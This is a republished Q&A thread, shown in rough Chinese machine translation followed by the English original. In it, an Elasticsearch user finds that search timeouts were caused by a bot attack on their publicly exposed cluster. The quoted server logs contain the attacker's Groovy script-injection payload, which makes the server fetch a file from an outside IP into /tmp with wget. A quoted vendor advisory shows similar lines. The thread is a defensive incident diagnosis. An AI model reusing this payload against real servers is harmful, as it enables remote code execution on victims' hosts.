且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事
您所在的位置：首页 > 弹性搜索在每个搜索请求之外超时，直到重新启动

弹性搜索在每个搜索请求之外超时，直到重新启动

更新时间：2023-02-02 16:14:01

解决问题


tl; dr：


原因：对未安全的服务器进行机器人攻击。



根据弹性搜索发表的文章：



https://www.elastic.co/blog/scripting-security/


1。不要向公众开放Elasticsearch


采取的行动：
我们将iptables规则添加到我们的木偶服务器中以应用我们所有的弹性搜索服务器。



我们做错了，不幸的是我们付出了代价。
我们现在回来运行。


调查 - 更长的部分


根据日志，我发现一些非常可疑的东西

  [2015-04-30 05：05：59,808] [DEBUG] [action.search.type] [Saint Anna] [_river] [0]，节点[Oq7k-P26RoabKCjZ_YmlIw]，[P]，s [STARTED ]：无法执行[org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true] 
 org.elasticsearch.transport.RemoteTransportException：[Anaconda] [inet [/192.168.5.2:9300]] [indices ：data / read / search [phase / query]] 
引起的：org.elasticsearch.search.SearchParseException：[_river] [0]：query [ConstantScore（*：*）]，from [-1] size {-1}：解析失败[无法解析源[{查询：{已过滤：{查询：{match_all：{}}}}，script_fields：{exp script：import java.util。*; import java.io。*; String str = \\; BufferedReader br = new BufferedReader（new InputStreamReader（Runtime.getRunt ime（）。exec（\wget -O / tmp / xiao3 http://121.42.221.14:666/xiao3\\").getInputStream()));StringBuilder sb = new StringBuilder（）; while（（str = br.readLine（））！= null）{sb.append（str）; sb.append（\\r\\\
\）;} sb.toString（）;}}，size ：1}]]

我将修剪主要部分：

  exec（\wget -O / tmp / xiao3 http://121.42.221.14:666/xiao3\）

这是机器人黑客的形式，因为我们没有人命名为xiao，或者我们不在中国托管我们的服务器根据GEO-IP），我们怀疑这一行。



根据上述文章：


我们最近看到恶意用户利用公开的
可用的Elasticsearch服务器来访问主机系统。
有几种方法来监控，看看你是否受到这个安全漏洞的
的影响。



最近的攻击是生成Elasticsearch日志类似于以下
：




  [错误：Runtime.getRuntime（）。 exec（wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh）。getInputStream（）：无法运行程序wget：error = 2，没有这样的文件或目录] 
导致：java.io.IOException：无法运行程序wget：error = 2，没有这样的文件或目录
 [错误：Runtime.getRuntime（）。exec wget http://XXX.XXX.XX.XXX/.../getsetup.hb）.getInputStream（）：无法运行程序wget：error = 2，没有这样的文件或目录] 
之后易受攻击的系统已被利用，受感染的系统正在/boot/.iptables文件中运行代码以及修改的/etc/init.d脚本。




您还应监控异常系统负载并执行
/ b>

确保如果您检测到任何受到破坏的系统，您将采取上述
步骤来保护您的弹性搜索节点，一旦您有
删除或重新安装受影响的系统。


黑客应用了一些讨厌的查询，使我们的弹性搜索停止运行。 / p>

我们重新启动了我们的服务器并添加了Iptables，并且我们恢复了业务。


This is kind of awkward since the whole purpose of elasticsearch is to search, however somehow mine has lost it's ability to do so.

My Configuration

To the point:

I got 2 Instances of Elasticsearch, under a load balancer.

I got 3 Instances of MongoDB configured with replica set.

I have river installed (don't know if it has something to do with it), This one: https://github.com/richardwilly98/elasticsearch-river-mongodb/wiki

Synopsis of the problem

Elasticsearch is up for 5 days, and the full size of it's indices are less than 1MB.

Elasticsearch has worked for 4 days in a row without a problem, really fast.

All other requests perform fine, except for GET 'http://codename.es.domain:9200/_search'

Any kind of search.

More Information

Cluster Health is fine. MongoDB is fine. I can create new index and index more documents.

Basically it doesn't even timeout unless I stop the request.

From the NodeJS using official elasticsearch client : https://www.npmjs.com/package/elasticsearch

I receive:

{
  "error": {
      "message": "Request Timeout after 30000ms"
    }
}

Logs that created the problem

[

2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][3], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][3]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script458.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [events][1], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][1]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script457.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script460.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][0], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.search.SearchParseException: [events][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][2], node[Oq7k-P26RoabKCjZ_YmlIw], [R], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][2]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,809][DEBUG][action.search.type       ] [Saint Anna] [events][4], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238]
org.elasticsearch.search.SearchParseException: [events][4]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script462.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,811][DEBUG][action.search.type       ] [Saint Anna] All shards failed for phase: [query]

Apparently these logs below occurred earlier, and at some point this happened:

[2015-04-30 05:05:59,811][DEBUG][action.search.type       ] [Saint Anna] All shards failed for phase: [query]

After that nothing has worked until a restart.

Current Logs

[2015-04-30 08:14:02,174][DEBUG][action.search.type       ] [Saint Anna] [4496] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory]; 
    at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
    at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
    at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
    at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
[2015-04-30 08:14:03,021][DEBUG][action.search.type       ] [Saint Anna] [4512] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory]; 
    at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
    at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
    at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
    at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)

Really bad solution to the problem

The only way to get this up and running back is a restart.

This problem has occurred already when we had our previous host.

We had to perform a restart to the elasticsearch every three days, but it kept going worse until we had to restart every hour.

I'm trying to avoid that scenario, any suggestions?

Problem solved:

tl;dr:

Cause: A robotic attack on our servers who were un-secured.

According to an article posted by elasticsearch:

https://www.elastic.co/blog/scripting-security/

1. Don’t run Elasticsearch open to the public

Action taken: We added iptables rules to our puppet server to apply all of our elasticsearch servers.

We did that mistake and unfortunately we paid the price. We are back and running right now.

Investigation - Longer Part

Well according to the logs, I found something very suspicious 

[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

I'll trim down the major part:

exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")

This is the form of a robot hack, since we have no one named xiao or we do not host our servers in China (According to GEO-IP), we suspected this line.

According to the article mentioned above:

We have recently seen malicious users taking advantage of publicly available Elasticsearch servers to gain access to the host systems. There are a few ways to monitor to see if you have been affected by this security breach.

The most recent attack is generating Elasticsearch logs similar to the following:

[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.

You should also monitor for abnormal system load and perform a thorough audit of your system.

Make sure that if you detect any exploited system that you take the steps described above to secure your Elasticsearch nodes once you have removed or re-installed the affected systems.

The hacker applied some nasty queries who made our elasticsearch stop functioning.

We restarted our servers and added Iptables, and we are back in business.

上一篇 : ：WPF应用程序仍然运行在后台关闭后，下一篇 : 释放内存映射内存

相关阅读

技术问答最新文章

网站首页网站地图Copyright © 2021-2022 且购网

免责声明：本站文章部分来源于互联网,如有侵权请联系站长,我们将在72小时内删除。